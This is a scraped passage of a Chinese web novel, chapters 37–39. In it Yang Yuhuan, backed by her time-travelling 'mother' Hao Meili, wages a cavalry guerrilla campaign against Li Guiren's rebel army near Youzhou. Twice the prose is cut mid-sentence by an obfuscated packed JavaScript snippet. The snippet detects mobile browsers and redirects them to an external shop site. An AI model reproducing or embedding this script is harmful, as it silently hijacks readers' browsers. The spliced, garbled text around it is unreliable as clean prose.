郝美丽走了。 篝火还在燃烧,火光跳跃,映着一张张呆滞、激动、困惑、泪流满面的脸,许多人张着嘴,想说很多,想喊出来,可喉咙像被什么堵住了,发不出完整的声音。 顾大七慢慢走回火堆旁,所有人都和他一样,失魂落魄的,他裹紧了身上的毯子,夜风吹来,带着凉意。 他想起饿死的爹娘,想起再无音讯的二哥,想起自己这些年在军中被呼来喝去动辄打骂的日子,想起这一路上看到的遍地尸骸…… 眼泪毫无征兆地涌出来,怎么擦也擦不完,他越擦,泪流得越凶,他想拿出怀里那本写着他名字的册子,可手指颤抖得厉害,他刚拿手擦了半天的泪,他怕泪渍弄坏了纸页,终究还是没有拿出来。 可那股通天彻地的委屈,彻底爆发。 他再也忍不住了。 一声呜咽响起,不一会就变成了不管不顾的大哭,他抱着膝盖,把脸埋进粗糙的毯子里,肩膀剧烈地耸动,哭得上气不接下气。 火堆旁,另一个人也跟着抽泣起来,马上变成了痛哭,紧接着,是第三个,第四个…… 哭声在营地的各个角落响起,起初零零星星,很快就连成了一片,他们在为什么而哭? 他们说不上来,可泪却越来越多了。 打湿了所有人的心。 * 郝美丽回到现代。 房间里的陈设依旧,窗外的城市灯火通明,远处传来隐约的车流声,她坐在沙发上,很久很久都没有动。 不知过了多久,窗外的天色从深黑转为靛蓝,又泛起鱼肚白,她缓缓站起身,腿有些发麻,走进卫生间,用冷水扑了扑脸,看着镜子里有些陌生的自己。 她换了一身衣服,拿起车钥匙,下楼。 地下车库空旷安静,只有她的脚步声在回荡,她打开车门,坐进去,引擎启动的声音在封闭空间里显得格外清晰。 立刻开动,只是握着方向盘,目视前方,然后,她拿起手机,打开导航软件,手指在屏幕上悬停片刻,最终,她输入了一个地址。 导航开始规划路线,她放下手机,挂挡,松手刹,车子平稳地驶出车库,汇入了清晨稀疏的车流。 一开始还是熟悉的城市道路,高楼渐次后退,然后是高架,是绕城高速,车子越开越远,建筑越来越稀疏,视野逐渐被田野、丘陵和更远处连绵的山影取代。 车窗开了一条缝,风带着凉意灌进来,她沉默地开着,很少变道,也很少超车,只是朝着那个既定的方向,不停地开。 开过平原,开过起伏的丘陵,穿过长长的隧道,天色再次暗下来,导航提示,距离目的地越来越近。当最后一段蜿蜒的乡间小路出现在前方,当导航终于报出“您已到达目的地附近”时,天边只剩下最后一线暗红。 她把车停在路边划出的空地上,熄火,拔钥匙,车内安静下来,只有她自己的呼吸声。 她推开车门,踏上这条乡间小路。 路不宽,是水泥铺的,平整干净,两边低矮灌木,再远些,是疏朗的树木,叶子在晚风中轻轻晃动。 她走得很慢,一步一步。 路的左侧,出现了一片池塘,水是静的,映着天上的微光和岸边树木的倒影,池塘边有几块石头。 她看着池塘,脚步未停,然后,她看到了,树影掩映间,温暖的黄砖,屋顶是沉稳的黑瓦。 郝美丽停下了脚步。 她就站在这条安静的小路上,站在黄砖黑瓦的房子前,站在池塘边吹来的微风里,她抬起头,望着那扇普通的门。 没有任何预兆,眼泪一下子就涌了上来。 起初只是眼眶发热,视线模糊,然后,大颗大颗的泪珠滚落,顺着脸颊滑下,悄无声息地没入衣领,她没有出声,只是任由泪水流淌。 终于,她开口道: “老师,我好想你。” 37.第 37 章 幽州城下,五千金吾卫勒马而立。 杨玉环策马立于阵前,仰望着眼前这座北方雄城,城墙高达三丈有余,青砖垒砌,坚固异常,垛口之间,寒光隐现,城外,一道宽约两丈的护城河泛着水光,河对岸,是密密麻麻的拒马桩还有陷坑,再往后,是临时加筑的羊马墙。 城头上,旌旗猎猎,人头攒动,李归仁和他的十万大军正俯视着这支区区五千人的队伍,似猛虎欲发。 “娘娘,”薛荣策马上前,停在杨玉环身侧,低声道,“幽州城防坚固,强攻恐损伤过巨,末将请命,率一部人马先行试探,另遣人赶制云梯……” 杨玉环没有立刻回答。 她转过头,目光扫过身后五千将士,晨光熹微,照在一张张或年轻或沧桑的脸上,即便装备了妈妈送来的盔甲武器,他们依旧是是血肉之躯,那他们,会不会害怕? 会的,因为杨玉环也在害怕。 杨玉环啊杨玉环,你真的有勇气,成为一位领袖吗?你真的可以肩负这五千人的生死吗? 父母爱子,为将者又如何不爱兵? 这一刻,杨玉环真真切切地体会到了这种心情,这些人的生死荣辱,此刻系于她一人之念。她若一声令下,这五千人便会毫不犹豫地冲向那座铜墙铁壁,用血肉之躯去撞击,去攀爬,去赴死,只为了她。 杨玉环闭上眼,深吸了一口气,凛冽的北风灌入肺腑,让她清醒了几分,也让她下定了决心。 “我们撤退吧。”她睁开眼,道。 “什么?”薛荣以为自己听错了。 “传令,”杨玉环调转马头,重复道,“全军撤退。” 命令迅速传开,队伍中响起一片哗然,奔波数月,辗转千里,好不容易兵临叛军老巢城下,箭已在弦,却要撤退? “娘娘!”薛荣急了,策马拦在她面前,“末将知道您体恤士卒,可战场之上,岂能因畏伤亡而贻误战机?金吾卫五千将士,自长安相随至今,早已将生死置之度外!请娘娘下令攻城,末将愿为前锋,必为娘娘撕开一道缺口!” 随着他的话音,队伍前列,数百名老兵齐刷刷抱拳,吼道:“愿为娘娘死战!” 声音如浪,一波波向后传去,很快,五千人的吼声汇聚在一起,震得地面微微发颤,他们都在道:“愿为娘娘死战!愿为娘娘死战!” 这声音冲上云霄,连城头上的李归仁都听得真切,他眯起眼,手按剑柄,等着那预料中的冲锋。 杨玉环却勒住躁动的战马,面向全军。 她没有说话,静静地看着他们所有人,目光从一张张激动、不解、甚至有些委屈的脸上缓缓掠过,直到请战之声渐渐平息,只剩风呼啸而过。 “诸君有死战之心,是好事。”她终于开口了。 “可我今日,却偏偏想告诉诸君——我希望诸君以后,也要有畏死之心。” 这话让所有人都愣住了。 畏死?当兵的,尤其是他们这些跟着仙女打新天下的兵,不是该悍不畏死吗? 杨玉环看着他们困惑的眼神,继续道:“从大处说,诸君自长安随我至今,不离不弃,这般恩义,诸君对我来说,无比重要。” 她顿了顿,声音里带上了一丝不易察觉的颤抖,说:“这天下再大,我杨玉环,于此时此刻,也只有你们了。” 话音落下,队伍中一片寂静。 有人低下头,用力眨了眨眼,顾大七觉得鼻子发酸,他想起怀里的那本小册子,想起那十两银子,再看着眼前恍若神明的女子,他心里开始变得怅然起来。 “往小了说,”杨玉环的声音柔和下来,继续道,“诸君有父母家人,有兄弟姐妹。若今日白白死在这里,尸骨恐怕也难归故乡,这叫我……如何能接受呢?” 这句话像一把钝刀子,轻轻刮在每个人心上最柔软的地方,让人忍不住多了太多情绪。 许多人的眼泪终于滚落下来,赵莽别过头,用粗糙的手背狠狠抹了把脸,却越抹越湿,是啊,他家里妻儿还在等他…… 死了,就什么都没了。 薛荣也红了眼眶,他深吸一口气,勉强笑道:“娘娘何必这样想?我们当兵吃粮,脑袋别在裤腰带上,本就是常事,咱们……咱们要为了大业着想啊!” “是,要为了大业着想。”杨玉环点点头,对着他们说,“我未曾读过多少兵书,可眼下这局面,我们都清楚,我们这五千骑兵攻城,无异于以卵击石,徒增伤亡,却难撼坚城分毫,所以断不能如此。” 薛荣沉默了,他久经战阵,何尝不知娘娘说得对?只是…… “那娘娘的意思是?” 杨玉环最后看了一眼巍峨的幽州城,看了一眼城头那个隐约的身影,淡淡道:“撤军,这幽燕大地,自有我们的好去处。” 军令如山。 尽管不解,尽管不甘,五千金吾卫还是依令而动,马蹄声响起,队伍如潮水般向后退去,整齐迅速,丝毫不乱。 城头上,李归仁愣住了。 他身后的副将也瞪大眼睛:“王爷,他们……他们撤了?” 李归仁眉头紧锁,盯着那支逐渐远去的队伍,一言不发。 “莫不是见攻不下城,跑了?”副将猜测道,“说什么北上平叛,看来也是虚张声势……” “绝不会。”李归仁打断他,“杨玉环此人,弑君杀将,转战千里,岂是畏战之辈?我不信。” 副将迟疑:“那我们要不要出城追击?他们只有五千人,又是骑兵撤退,若我们以轻骑衔尾追击……” 李归仁抬起手,止住了他的话。 他望着远处那面渐渐消失的“金吾卫”旗帜,沉思良久,缓缓道:“传令,严守四门,不得妄动,敌情不明,先守稳城池,等等看。” 他倒要看看,这个杨玉环,究竟在玩什么把戏。 * 几日后,太原通往范阳的官道上。 一队长长的运粮车队正在行进,大车三十余辆,每辆车都由两匹骡马牵引,车上堆着鼓鼓囊囊的麻袋,压得车轴吱呀作响,车队前后,千余名魏军士卒押送,刀甲鲜明。 自李归仁下令全力备战以来,幽州、范阳及各屯兵要地每日消耗粮草数以万计,这样的运粮队,几乎每日都在各条官道上往来。 时值初秋,草木凋零,视野开阔。押粮的校尉骑在马上,不时环顾四周,心中隐隐有些不安,近来传闻,那支南边来的仙女军在幽州城下晃了一圈就消失了,谁知道会不会流窜到这条路上? “都打起精神!”他回头喝道,“前头就到黑松林了,那地方容易设伏,眼睛都放亮些!” 士卒们齐声应诺,握紧了兵器。 车队缓缓驶入一片稀疏的松林,林中寂静,只有车轮声、脚步声,偶有枯枝被踩断的脆响。 突然——“咻!” 一支鸣镝箭破空而来! “敌袭!” 校尉厉声大吼,话音未落,两侧松林中人影幢幢,马蹄声如雷炸响! “杀!” 薛荣一马当先,手中长槊如直刺校尉面门,他身后,两千金吾卫骑兵如离弦之箭,从林中奔涌而出,瞬间将运粮队截成数段! “结阵!结阵!”校尉勉强架开长槊。 然而仓促之间,阵型哪里来得及展开?金吾卫的马更快,甲更坚,刀更利!更重要的是,这些骑兵身上有一股说不清道不明的气势,直压的魏军胆怯。 刀光剑影,血花四溅。 魏军士卒拼死抵抗,但很快就发现,对方的配合默契得可怕。三人一组,五人为伍,攻守轮转,如臂使指,更让他们心惊的是,这些敌人眼神很可怕,他们,他们…… 可魏军已经分辨不出是什么了。 不过一刻钟,战斗便接近尾声。 校尉被薛荣一槊挑落马下,胸口血如泉涌,他瞪大眼睛,看着那个黑脸将领翻身下马,开始指挥清理战场、收缴物资,直到最后一口气咽下,眼中仍是不解,这些人,为何如此…… 薛荣喘着粗气,用袖子抹了把脸, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16977736|191074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 终于赢了!他环视战场,心中猛地一痛——又倒下了几十个兄弟。 这一路转战,金吾卫虽连战连捷,却非没有伤亡,每次看到熟悉的袍泽倒下,他都会想起娘娘那句话:“诸君对我来说,非常重要。” 他深吸一口气,压下心头涩意,目光在人群中搜寻,很快,他看到了那个正在指挥士卒清点粮车的纤细身影。 “达奚姑娘!”薛荣快步走过去,“没事吧?” 达奚瑜放下手中的册子,抬起头,她脸上沾了点点血污,呼吸还有些急促,却道:“我没事,薛将军,粮草清点差不多了,只是……” “阵亡弟兄一百七十二人,重伤四十三,轻伤过百……” 啊?一百多人?怎么会这么多!薛荣回头再看,刚刚瞧起来,不是只倒下几十人吗?! 他站在原地,一个个数过去,一、二、三…… 一百二十三、一百二十四、一百二十五…… 直到最后,他不敢再数了。达奚姑娘没数错,原来真的,死了这么多人啊,他怅然的收回目光,再看手中的血迹,忽然觉得,这些血就是那一百七十二人,他的心里,多了一点怕。 薛荣沉默了片刻,忽然问:“你说娘娘那边,现在如何了?” 达奚瑜望向东南方向,那是娘娘率另外三千人马征战的方向,轻声道:“一定会没事的,我们要相信她……” 两人不再多言,沉默下来。 * 同一时刻,百里之外。 杨玉环摘下头盔,任由一头青丝在风中散开,她将染血的长剑归鞘,已经比第一次杀人时沉稳了许多。 身后,顾大七递上一个水囊:“娘娘,喝口水吧。” 杨玉环接过,仰头灌了几口,清水入喉,冲淡了口中血腥气,她环视刚刚结束战斗的战场,敌军已被尽数剿灭,己方也死伤数百,实在惨烈。 “娘娘,”赵莽提着还在滴血的刀走过来,脸上带着兴奋的红光,“咱们这打法真痛快!专挑他们运粮的、传令的的下手,打完就走,绝不停留!您看这几次下来,断了他们好几处粮道,宰了他们好几个军官呢!” 周围的金吾卫士卒也都围拢过来,虽然疲惫,但士气高昂,这种灵活机动的袭扰战,让他们尝到了甜头,所有人脸上都笑盈盈的,可杨玉环看着他们的笑脸,却无多少喜悦。 妈妈说得对,这世界上最强大的武器是人,可正因为是人,才会受伤,才会死去,每一次下令,都会有人再也回不来,她亲眼所见,倒在地上的人,会在临死前,望她一眼,再心甘情愿的闭上眼睛。 这担子在她肩上,她的心…… 许是杨玉环的脸色太沉重,慢慢的,所有人都收了笑脸,慢慢的,他们明白了,原来这胜利是要死人的啊,于是,脸上的喜意换成了悲色。 这旷野之上,多了一丝哀悼。 很多之后,顾大七抬起头,看杨玉环。 “娘娘,”顾大七小声问,“咱们下一场,去哪里?” 杨玉环抬起头,收起所有哀色,望向西北方向。那里是幽州,是李归仁十万大军的根本所在,这几日的游击袭扰,断其粮道,扰其后方,疲其守军,更重要的是,她在试探,在观察,在寻找那个真正能撼动十万大军的薄弱点。 以己之长,攻彼之短。 她这五千精锐骑兵,或许攻不下幽州坚城,却足以像一柄匕首,游走在十万大军的血脉之间,一点一点,切断它的补给,扰乱它的神经,让它流血,让它疼痛。 幽州城内的存粮,还能撑多久呢? 她很好奇。 不过。 妈妈,我做的对吗? 杨玉环突然很想念郝美丽。 但妈妈不在,这些思念就化作了坚强。 妈妈,我会带着他们赢得属于我们的胜利。 “别急,”杨玉环将水囊递回顾大七,重新戴上头盔,“我们先休整半日,至于下一场……” “我有一份大礼,要送给李归仁。” 38.第 38 章 幽州城,大魏皇宫。 安庆绪的心,随着风飘,上上下下。 自从父亲安禄山在长安城外化作血雾,他逃回范阳,就没有一夜睡得安稳,起初还是怕,怕杨玉环追来,怕从天而降的仙器,也让他步父亲后尘,后来李归仁力主坚守,那杨玉环在城下转了一圈竟撤军而去,他的心刚松了半分,又紧了起来。 因为他耳边多了一些声音。 “殿下,您可听见外头的议论?”心腹小心翼翼地凑近,“都说北平王坐拥十万大军,威震幽燕,这大魏的天下,到底是姓安,还是姓李啊……” 安庆绪猛地抬头看他。 “还有人说,”王德窥着他脸色,继续添火,“李将军几次驳了殿下您的旨意,说什么军事为重,殿下不知外事,这分明是没把您放在眼里啊!长此以往,只怕……” “只怕什么?” “只怕鸠占鹊巢啊殿下!”心腹扑通跪倒,以头抢地,“先帝在天之灵若是有知,岂能瞑目?殿下,您才是先帝血脉,大魏正统啊!” 安庆绪胸膛剧烈起伏,脸色一阵青白,他如何不知道!自从父亲安禄山死后,军中实权早已倾向战功彪炳的李归仁。他这个太子,不过是摆设,一旦李归仁真有异心…… 他猛地站起身,在殿内焦躁地踱步。 怎么办?怎么办? “李归仁……李归仁……” 不行,绝不能坐以待毙!必须做点什么,必须让所有人知道,谁才是这大魏的主人! 几日后,李归仁被召入宫中。 安庆绪强作镇定,端坐御案之后,看着殿下行礼的李归仁,开口道:“李将军,近日军报,杨玉环所部四处袭扰,断我粮道,戮我将士,如此下去,我军困守孤城,岂非坐以待毙?” 李归仁眉头微蹙,沉声道:“殿下,杨玉环以骑兵游击,避实击虚,此正欲激怒我军,诱我出城野战。我军优势在于城高池深,若弃守出战,正中其下怀,所以,我们仍需忍耐,等待良机。” “等待?”安庆绪质疑起来,“我们眼睁睁看着她肆意横行?李将军,你口口声声坚守,可曾想过城中存粮还能支撑几时?十万大军坐吃山空,又无补给,届时军心溃散,不攻自破,该如何是好?” 李归仁抬起头,看向御座上的安庆绪:“殿下,兵者诡道。杨玉环孤军深入,我军若稳守不出,她无机可乘,久必生变。此时出城追击,以己之短攻彼之长,实为不智。” “不智?”安庆绪脸色阴沉下来,“李将军,究竟是不敢出城迎敌,还是另有所图?” 这句话落下,两人的心都惊了一下。 李归仁瞳孔微缩,他缓缓站直身体,与安庆绪对视:“殿下此言何意?” 安庆绪被他目光所慑,下意识想避开,但想到心腹的话,心一横,冷笑道:“没什么意思,只是外间有些风言风语,说李将军拥兵自重,眼中早已无我这个太子,也无先皇!如今杨玉环来袭,你却龟缩不出,任由其切断粮道,是不是想等城中粮尽,军心大乱,你好……” “殿下!”李归仁一声断喝,“臣李归仁,追随先帝起兵,大小百余战,身上伤痕无数,皆是为大魏江山!今日殿下竟听信小人谗言,疑臣至此?!” “杨玉环有仙器之威,虽传闻使用有限,但安能不慎?我军优势在守,岂可轻易弃之?殿下若疑臣忠心,臣此刻便可交出兵符,自缚请罪!但请殿下另选贤能,破此危局!” 说罢,他竟真的伸手向腰间,作势要解印绶。 安庆绪被他一通怒喝,吓得往后一缩,见他要交兵符,又慌了神。此刻若真夺了李归仁的兵权,谁能抵挡杨玉环?军中又有几人会听他的? 他连忙摆手,挤出笑脸:“李将军息怒,息怒!我也是一时心急,绝无怀疑将军之意!” 李归仁死死盯着安庆绪,半晌,才缓缓放下手,重重哼了一声:“既如此,便请殿下勿再听信谣言,动摇军心!守城之事,臣自有主张!” 看着李归仁怒气冲冲拂袖而去的背影,安庆绪瘫软在御座上,冷汗涔涔,心腹从屏风后闪出,低声道:“殿下,您看,他如此跋扈……” “闭嘴!”安庆绪有气无力地呵斥,李归仁的怒气是真的,但有恃无恐,更是真的,这幽州城,这十万大军,恐怕早就姓李了。 那他的命…… 李归仁回到府中,一脚踹翻了面前的案几,桌上东西洒了一地。 “竖子!蠢货!安禄山也算枭雄一世,怎生出这般鼠目寸光的儿子!” “大敌当前,不思同心御敌,反疑我李归仁要夺他鸟位!这大魏江山,若真交到这等废物手中,安能不亡?!” 亲信将领侍立一旁,噤若寒蝉。 发泄一通后,李归仁喘着粗气,又慢慢冷静下来,安庆绪虽然愚蠢,但有一点没说错,粮道被断,终究是心腹之患。杨玉环这毒蛇,专挑软处下口,再让她这么折腾下去…… “杨玉环,你真当老子是缩头乌龟?” 他沉吟片刻,道:“传令!点齐一万精骑,出城搜寻杨玉环部踪迹,若遇其主力,不可恋战,速速回报!” “将军,”亲信迟疑道,“只派一万人?是否太少?杨玉环虽只五千人,但战力不弱,且行踪诡秘……” “一万人够了!”李归仁打断他,“她若真有仙器随时可用,去十万人也是送死。她若没有,或者不能常用,这一万精骑足以缠住她,等大军合围!老子倒要看看,她究竟有多大本事!” * 幽州东南,一处背风的山坳。 杨玉环刚刚指挥完一场伏击,缴获了一批粮草,正命士卒抓紧时间休整,突然,斥候疾驰而来:“报!东北方向发现不明兵马,正朝我方而来!” 薛荣立刻起身,握紧刀柄:“全军戒备!准备迎战!” 金吾卫士卒抓起兵器,翻身上马,阵型迅速展开,连续的征战磨砺,早已让这五千人脱胎换骨。 杨玉环也跨上战马,望向斥候所指的方向,只见地平线上,尘头渐起,一支队伍缓缓显现,却未见魏军旗号,队列也显得松散,不似正规行军。 当先几骑,身形似乎有些不同? 怎么回事?她微微蹙眉。 队伍越来越近,已能看清马上骑士的轮廓,为首的,竟是三名女子!金吾卫众人暂且按下兵器。 那队人在距金吾卫阵前一箭之地勒马,身后三千余人也随之停下。他们大多衣衫简朴,兵器参差,却个个腰背挺直,目光齐刷刷望向金吾卫的旗帜,以及阵前的杨玉环。 为首那名年纪稍长,面容坚毅的女子,拱手高声道:“前方可是仙女娘娘麾下金吾卫?” 薛荣看向杨玉环,杨玉环微微颔首,策马向前几步:“正是,不知诸位是何方兵马?为何至此?” 那女子闻言,眼中爆发出惊喜,她与身后两名女子对视一眼,三人同时翻身下马,拱手行礼! “民女侯四娘、唐四娘、王二娘,拜见仙女娘娘!”* “我等皆是河北乡民,因不堪叛军欺压掳掠,歃血为盟,结为姐妹,聚集乡邻子弟,行营讨贼,近日闻听娘娘天兵北上,平叛安民,转战于此,特领麾下三千子弟,前来投效,助娘娘剿灭国贼,还百姓太平!” 她身后的唐四娘、王二娘,以及那三千子弟,也齐声道:“愿随娘娘,剿灭国贼,还我太平!” 杨玉环愣住了。 她看着眼前三名女子,她们甲胄简陋,衣衫沾尘,握刀的手结着茧, 她们没有仙器神兵,不曾受封领衔,却敢振臂一呼率兵而来,这般刚烈,又这样赤诚。 杨玉环立刻翻身下马,快步走到侯四娘三人面前,不发一言,直接将三人抱入怀中紧紧抱着,这动作倒是惊了三人一瞬。 “好!好!好!”杨玉环连说三个好字,眼中却有水光迅速积聚,一颗泪滚落下来,“天大地大,竟有你们这样的巾帼英豪,在这乱世之中,为自己、为乡邻,拿起刀枪保卫家国!实在是大幸!” 侯四娘三人被她拥着,又见她眼中泪光, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16982190|191074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一时都有些无措。侯四娘忙道:“娘娘快别如此,折煞民女了!若非娘娘弑昏君、诛国贼,吓得叛军胆寒,我们姐妹这点人马,恐怕也早被剿灭,活不到今日了!” “不,”杨玉环摇头,泪水终于滑落,她却仍在笑,“有你们在,这条路,便不是我杨玉环独行,这很好……这比什么都好。” 她用力握紧三人的手,目光扫过她们身后三千子弟,朗声道:“今日,有诸位姐妹相助,是我杨玉环之幸,是天下黎民之幸!自今往后,我们并肩作战,生死与共!” “誓死追随娘娘!”侯四娘三人回应,身后三千子弟亦随之高呼。 来不及续相逢之喜,就见一匹快马从侧翼奔来,斥候急报:“娘娘!西南方向发现大队魏军骑兵!” 薛荣上前,急道:“娘娘,您那道挑拨离间之计发出后,李归仁果然派兵出来了!我们先避其锋芒,再图歼敌。” 侯四娘上前一步,抱拳道:“娘娘,民女等虽装备简陋,但熟悉此地山川形势,愿为前锋,掩护娘娘转移!” 杨玉环擦去脸上泪痕,她望向西南方向,沉声道:“来不及了,李归仁用兵谨慎,既派兵出来,必有后手。” “传令全军,即刻向东北方向转移,那里地形复杂利于周旋,四娘,你们熟悉路径,为大军引路!” “是!” 说完,两支队伍合流,八千余人马开始向东北方向急行。 可就在他们即将进入黑石峪时,前方斥候仓皇回报:“娘娘!不好了!前方峪口已被魏军堵住,看旗号兵力,不下三万人!” “什么?”薛荣大惊。 杨玉环心头一沉,勒马望去,只见前方峪口处,黑压压的魏军阵列如山,刀枪如林,旌旗蔽空,当中一杆“李”字大旗下,一个魁梧如山的身影端坐马上,正是李归仁! 与此同时,后方蹄声如雷,烟尘大作,之前发现的那一万魏军精骑,也已迫近,封住了退路。 前后夹击,陷入绝地! 李归仁策马出阵,声音远远传来:“杨玉环!本帅等你多时了!你以为,区区游击袭扰之策,便能瞒天过海,乱我军心?今日,这黑石峪,便是你的葬身之地!” 他目光扫过杨玉环身边的八千人马,在侯四娘部身上略微停留,冷笑:“竟还有一群不知死活的草寇相随?正好,一并收拾了,省得日后麻烦。” 薛荣、赵莽等将领纷纷拔刀,侯四娘、唐四娘、王二娘亦握紧手中兵器,不约而同向中间靠拢,将杨玉环护在中心。 “娘娘,末将愿率死士,为娘娘撕开一条血路!” “娘娘!我们跟他们拼了!”侯四娘眼中毫无惧色。 “誓死保护娘娘!”八千人的声音汇聚,声震河谷,竟将魏军的声势压下去几分。 杨玉环环视周围,也拔出了腰间长剑,剑锋映着落日余晖,格外耀眼。她心中暗叹,原以为可以诱骗李归仁小股兵力出城,逐一剿灭,万没想到李归仁明知仙器仍敢兵行险着,布下这几万人与她一决雌雄。 难道今日真要死战于此? 就在她剑指前方,准备下令死战时。 “呜呜呜——” 一阵雄浑的号角声,从魏军侧后方的高地上响起!什么,又有军队聚集于此?谷中双方俱是一怔,齐齐抬头望去。 只见那片高地上,不知何时竟又出现了一支兵马,这支队伍约五千人,衣甲鲜明,一杆大旗迎风招展,上书一个龙飞凤舞的“李”字,但却非李归仁之李。 而是…… 旗下一员女将,银甲白袍,跨坐于一匹白马之上,她面容秀丽,眉宇间凝着一股飒爽之气,身后兵马肃然无声,正俯瞰着河谷中两班人马。 李归仁惊疑不定,厉声喝问:“来者何人?!” 杨玉环也遥遥望去,只见那女子抬头,威风吹过,衣袂与旗角一同翻飞,一身飒然,她道:“大唐和政公主李壁,率五千兵马前来平叛!乱贼李归仁,尔等祸乱天下,荼毒生灵,今日便是尔等伏诛之时!”* 39.第 39 章 李归仁立于黑石峪口,望向高地那支军队,心中不屑,眼神滑过杨玉环,嗤笑出声:“李璧?此时此刻领兵到此,你究竟是想平叛?还是想救杨玉环?” 他眼中凶光一闪,邪声道:“李璧,你可是太子李亨的女儿!杨玉环杀了你的父亲,杀了你的祖父李隆基!你不应该先杀了杨玉环吗?” 山谷另一侧,杨玉环也已看清来人。 李璧,她认得这张脸,昔年在宫中宴饮时,这位太子之女便以性格刚烈闻名,只是彼时她是高高在上的贵妃,李璧是需向她行礼的宗室女,二人并无深交。 李璧的目光越过战场,落在杨玉环身上。 风卷起她银甲下的袍角,也吹动了她鬓边的发丝,她看了杨玉环许久,又转向李归仁,最后重新看向杨玉环,朗声道:“没错,杨玉环,你杀了我父,杀了我祖父,我是该杀了你。” 杨玉环策马上前几步,与李璧遥遥相对:“那你为何还来此?” “为何?”李璧抬起下巴,道:“皇帝无能,死在乱军之中,那是他们的命。杨玉环,你有仙母庇护,敢率五千人北上,直捣叛军巢穴,我李璧虽无仙缘,却也有一身胆色,照样能持手中剑,平此乱世!” 李璧实在年轻的厉害,二十六岁的她,脸上没有一丝迟疑,她真的相信自己可以平定乱世,毫不畏惧杀父仇人上仙之女,更不在乎前路艰险生死只在顷刻间,她就是要卷入这乱世,争一争她的命! 杨玉环怔了怔,忽然笑了。 “好。”她点头,“你果然不负太宗血脉。” 没想到这句话却让李璧下颌绷紧,冷着脸,回道:“我就是我,我是李璧——不必提什么太宗!” 还没等杨玉环回以歉意。 “够了!”李归仁暴喝一声,打断了二人的对话。他脸色阴沉如铁,目光在杨玉环和李璧之间扫过,冷笑道,“两个女人,说平定乱世,真够可笑的,我先杀了你杨玉环,再杀了李璧,最后看看你们这两张嘴,还能说出什么话来!” 说完,他又嗤笑道:“杨玉环,你那仙母到现在也没出现,果然是虚张声势!今日这黑石峪,便是你的葬身之地!” 杨玉环握紧手中剑,看着他:“乱世争锋,何惧生死?就算没有妈妈在,我照样会杀了你!” 话音未落,杨玉环与李璧对视一眼,一种默契后,杨玉环长剑前指:“金吾卫,冲锋!” “杀——!” 八千人的吼声震得山谷回响,薛荣、赵莽一马当先,侯四娘、唐四娘、王二娘紧随其后,即便强敌在前,却无一人退缩。 只见金吾卫狠狠扎进李归仁布在峪口的军阵之中,现代马匹的冲击力远超魏军预料,前排的盾手连人带盾被撞飞出去,合金兵刃劈砍而下,魏军惯用的铁甲竟如纸糊般被轻易断开。 郝美丽带来的现代马种,肩高普遍比唐代战马高出二十余厘米,全速冲锋下,冲破了李归仁的阵型也是理所应当,马背上的金吾卫骑士,身着现代合金锻造的轻甲,手持利刃,绝非唐代锻造所能比。 第一波冲锋,便如势如破竹! 但李归仁毕竟是百战老将,最初的混乱过后,魏军迅速稳住阵脚,凭借人数优势开始反包围,战场瞬间陷入混战,刀剑碰撞声、惨叫声、马匹嘶鸣声混作一团。 高地上,李璧冷静地俯瞰着战局。 “弓箭手——”她抬手。 身后五千士卒齐刷刷张弓搭箭,动作整齐划一。 “对准马,射。” “嗖嗖嗖!” 箭雨如蝗,却没有射向正在与金吾卫缠斗的李归仁本部,反而覆盖了从后方包抄而来的那一万魏军轻骑身上! “噗噗噗!” 箭矢入肉的声音响起,魏军战马惨嘶着倒地,骑士被甩飞出去,又被后续冲来的马蹄践踏,只一轮齐射,便有数百骑倒下,阵型大乱。 领兵的魏军将领抬头望向高地上的李璧军,厉声道:“分兵!去剿灭那支兵!” 令旗挥动,约五千骑调转方向,朝李璧所在的高地冲去,战场中央,杨玉环一眼瞥见身后魏军分兵,露出破绽来,心念电转。 “薛荣!”她高喊,“传令,向缺口突围,快!” “娘娘?”薛荣一刀劈翻面前敌兵,愕然回头。 “快走!这是唯一的机会!” 薛荣瞬间明白,李璧的箭雨压制,迫使魏军分兵,他们背后的压力骤减,若等那五千骑兵解决李璧军回援,她们几千人陷入几万人缠斗中,就再无生机。 “金吾卫,撤!” 号令传开,正在苦战的将士虽不解,却令行禁止,侯四娘、唐四娘率部奋力冲杀,为大军打开一道缺口。 “想跑?”李归仁见状,冷笑一声,“追!杨玉环必须死!” 魏军如潮水般涌上,誓要将杨玉环留下。 高地上,李璧看着杨玉环部开始突围,再次抬手:“第二轮射击,目标李归仁前锋!” 箭雨再次倾泻,这一次直指正在追击的魏军本部,箭矢专门射向马腿,一时间人仰马翻,追击的速度为之一滞。 “走!”杨玉环一马当先,八千人马从缺口汹涌而出,等奔出数里,杨玉环勒马,她环视身边将士,又看向远处追兵烟尘。 “四娘!”她转向侯四娘,“你们的马匹脚力不及金吾卫,立刻转向东南山区,进密林!李归仁的目标是我,不会分兵追你们。” “娘娘!”侯四娘急道,“我们岂能弃您而去?!” “这是军令!”杨玉环声音变得严厉起来,“你们熟悉山地地形,进山后便如鱼得水,先保全自己!” 侯四娘还要再说,唐四娘却拉住了她,这位面容沉静的女子深深看了杨玉环一眼,抱拳道:“娘娘保重!他日必当再会!” “保重!”王二娘亦拱手。 三千子弟兵虽有不甘,却知形势危急,在侯四娘等人带领下,调转方向,朝东南方的山峦疾驰而去。 